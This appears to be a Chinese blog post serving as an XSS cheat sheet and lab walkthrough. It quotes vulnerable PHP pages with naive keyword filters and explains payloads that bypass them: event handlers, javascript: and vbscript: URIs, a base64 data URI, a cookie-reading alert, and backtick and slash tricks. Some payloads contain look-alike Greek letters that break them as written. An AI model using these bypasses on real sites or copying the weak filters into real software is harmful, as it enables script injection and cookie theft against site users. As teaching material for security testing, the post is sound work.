<img src=1 οnerrοr=alert(1)>
<script>alert(1)</script>
<script>alert(/1/)</script>
"/><svg/οnlοad=prompt(/1/);>
<input id="aaa" type="text" value="输出点">
<a herf="输出点"><img src=1>">
</script><script>alert(1)//
title
textarea
xmp
js加属性
οnmοuseοver=alert(1) "
//注释
脆弱点在A标签中:
分析一下:输出点在<a href=xxxxx> XXXXX字体部分,可以尝试使用 javascript:alert(1)
分析一下:输出点在<a href=xxxxx> XXXXX字体部分,,这次经过了测试错误提醒
说输入的内容不合法,不是一个正确url ,尝试使用http 和http://测试,匹配的
是http://
<a href=javascript:alert(1)”>http://>
分析:对img和<script> 做了过滤。考虑使用别的标签事件
"><body οnlοad=alert`1`><"
<img> 和 <script>被过滤
<?php ini_set("display_errors", 0); $str = strtolower(@$_POST["keyword"]); while (strpos($str,'script')) {$str = str_replace('script', '', $str);} while (strpos($str,'<img')) {$str = str_replace('<img', '', $str);} echo ' <form class="main" action="index.php" method="POST"> <input name=keyword size=60 value="'.$str.'"> <input type=submit name=submit value="Search"/> </form>'; echo '<p class="main">No results for "<b>'.htmlspecialchars($str).'</b>"</p>'; ?>
根据源码可以看到,这里直接接收keyword参数,然后变为小写 之后使用了两个循环,把字符串script以及<img替换为空 这里是循环过滤了小写后的script所以已经不能使用script了 而这里又过滤了<img,这意味着img标签也不能用了 其实除了img标签外,其他的只要支持on之类事件的标签都能够执行js代码 比如a标签,可以使用payload:"><a οnclick=alert(1)>click me</a><"来绕过, 不过这个需要点击一下才能xss,危害没有自动xss效果好
<script>和on 被过滤
利用伪协议
<?php ini_set("display_errors", 0); $str = strtolower(@$_POST["keyword"]); while (strpos($str,'<script>')) {$str = str_replace('<script>', '', $str);} while (strpos($str,'on')) {$str = str_replace('on', '', $str);} echo ' <form class="main" action="index.php" method="POST"> <input name=keyword size=60 value="'.$str.'"> <input type=submit name=submit value="Search"/> </form>'; echo '<p class="main">No results for "<b>'.htmlspecialchars($str).'</b>"</p>';
根据源码可以看到,这里直接接收keyword参数,然后变为小写 之后使用了循环过滤了<script>和on,然后输出到input中 这里可以使用伪协议来绕过 可以使用payload:"><a href="javascript:alert(1)">click me</a><" 这里href里使用javascript伪协议声明后面的是js代码
script ,img,a,标签都被过滤
根据源码可以看到,这里直接接收keyword参数,然后变为小写 之后使用了循环过滤了script和<img和<a,然后输出到input中 所以script和img和a标签宣布gg 这里不得不提到另外两个常用的payload: "><body οnlοad=alert(1)><"
"><div οnclick="alert('xss')">click me<" 这两个都可以过,前者是自动加载的,后者则需要点击交互
“><iframe οnlοad="alert(1)" height="0" width="0"></iframe>
script ,园括号被过滤
用 ` ` 代替
<?php ini_set("display_errors", 0); $str = strtolower(@$_POST["keyword"]); while (strpos($str,'script')) {$str = str_replace('script', '', $str);} $str = str_replace('(', '', $str); $str = str_replace(')', '', $str); echo ' <form class="main" action="index.php" method="POST"> <input name=keyword size=60 value="'.$str.'"> <input type=submit name=submit value="Search"/> </form>'; echo '<p class="main">No results for "<b>'.htmlspecialchars($str).'</b>"</p>'; ?>
根据源码可以看到,这里直接接收keyword参数,然后变为小写 之后使用了循环过滤了script,然后过滤了圆括号 可以使用"><body οnlοad=alert`1`><" 这里使用的是Esc键下面的反向单引号,它的作用和单引号一样
script,圆括号, 空格被过滤用 / 代替空格
<?php ini_set("display_errors", 0); $str = strtolower(@$_POST["keyword"]); while (strpos($str,'script')) {$str = str_replace('script', '', $str);} $str = str_replace('(', '', $str); $str = str_replace(')', '', $str); $str = str_replace(' ', '', $str); echo ' <form class="main" action="index.php" method="POST"> <input name=keyword size=60 value="'.$str.'"> <input type=submit name=submit value="Search"/> </form>'; echo '<p class="main">No results for "<b>'.htmlspecialchars($str).'</b>"</p>'; ?>
根据源码可以看到,这里直接接收keyword参数,然后变为小写 之后使用了循环过滤了script,然后过滤了圆括号,之后又过滤了空格 可以使用"><img/src='1'/οnerrοr=alert`0`><"
或者
"><<svg/οnlοad=alert`1`><"
有时候用斜杠是可以代替空格的
过滤了圆括号(),反引号`.
<svg>可以执行html转义字符.
<svg><script>alert(1)</script>
所有的类<>标签都不能用了
<?php ini_set("display_errors", 0); $str = strtolower(@$_POST["keyword"]); $str = preg_replace("/<.*?>/", '', $str); echo ' <form class="main" action="index.php" method="POST"> <input name=keyword size=60 value="'.$str.'"> <input type=submit name=submit value="Search"/> </form>'; echo '<p class="main">No results for "<b>'.htmlspecialchars($str).'</b>"</p>'; ?>
根据源码可以看到,这里直接接收keyword参数,然后变为小写 之后使用正则来过滤<>之间的内容,这意味着所有的类<>标签都不能用了 其实input是有一个比较奇葩的payload的,那就是 <input type=image src=x οnerrοr=alert(1)> 这个payload会把input当做img标签来用 此处用 " type=image src=x οnerrοr=alert(1) " 闭合前后双引号,构造即可
用换行可以绕过正则
eg:

post一个url 单引号和双引号被过滤
<?php ini_set("display_errors", 0); echo ' <form class="main" action=index.php method=POST> <input name=link size=60 value=""> <input type=submit name=submit value="add link" /> </form>'; echo '<div class="link"></div>'; if (isset($_POST['link'])) { $str = strtolower(@$_POST["link"]); $str=str_replace('"','"',$str); $str=str_replace("'",''',$str); echo '<div class="main"><a href="'.$str.'">Link</a></div>'; } ?>
根据源码可以看到,这里是添加链接的 用户post一个url,然后会把url添加到当前页面 这里对单双引号进行了替换,替换为了对应的实体编码 所以不能用双引号闭合然后跳出a标签 但是你还记得为协议吗? 是的,这里用 javascript:alert(1) 然后点击即可
javascript:alert(1)
javaSCRIPT:alert(1)
JaVaScRipT:alert(1)
javas	cript:\u0061lert(1);
javascript:\u0061lert(1)
avascript:alert(document.cookie) // AsharJaved
IE10以下和URI中可以使用VBScript
vbscript:alert(1);
vbscript:alert(1);
vbscr	ipt:alert(1)"
Data URl
data:text/html;base64,PHNjcmlwdD5hbGVydCgxKTwvc2NyaXB0Pg==
post一个url 单引号和双引号被过滤 // 注释 url中必须要有http
<?php ini_set("display_errors", 0); echo ' <form class="main" action=index.php method=POST> <input name=link size=60 value=""> <input type=submit name=submit value="add link" /> </form>'; echo '<div class="link"></div>'; if (isset($_POST['link'])) { $str = strtolower(@$_POST["link"]); $str=str_replace('"','"',$str); $str=str_replace("'",''',$str); if (strpos($str,'http://')===false) { echo '<center><b>链接不合法</b></center>'; } else { echo '<div class="main"><a href="'.$str.'">Link</a></div>'; } } ?>
根据源码可以看到,同样这里是添加链接的 用户post一个url,然后会把url添加到当前页面 这里对单双引号进行了替换,替换为了对应的实体编码 然后判断了用户提交的url中是否含有http:// 用来验证提交的是否为url 这里可以用 javascript:alert(1)//http:// 因为javascript中,//是代表注释的意思 这样数据中含有http://还不影响弹窗

值是输出在js代码中的 只要闭合双引号,然后就可以写你自己的js代码了
先加一个双引号闭合前面的

再加一个双引号,闭合后面的,即两个闭合

然后在两者之间写自己的js代码 , 如 -alert(1)-


也可以使用 </script>将前面的<script>标签闭合掉

//在JS中是注释的意思,将后面的双引号注释掉

5053

被折叠的 条评论
为什么被折叠?



